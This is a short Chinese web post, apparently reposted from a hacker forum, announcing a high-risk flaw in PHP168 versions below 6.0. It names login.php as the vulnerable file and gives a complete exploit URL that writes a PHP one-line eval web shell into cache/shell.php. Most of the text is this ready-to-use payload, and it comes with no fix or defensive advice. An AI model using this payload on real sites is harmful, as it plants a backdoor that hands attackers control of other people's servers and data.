網(LieHuo.Net)教程 最近在研究PHP,那個勁啊,就甭提鳥,本文引自黑客動畫吧。
以下為引用的內容: 危險等級:高 影響版本:PHP168 6.0以下版本 入侵者可以在用戶登陸頁面構造特殊語句,將PHP一句話寫入cache目錄,從而獲得使用PHP168整站程序網站的WEBSHELL權限。 出問題的文件 login.php login.php?makehtml=1&chdb[htmlname]=shell.php&chdb[path]=cache&content=<?php%20@eval($_POST[a]);?> 寫到:cache/shell.php |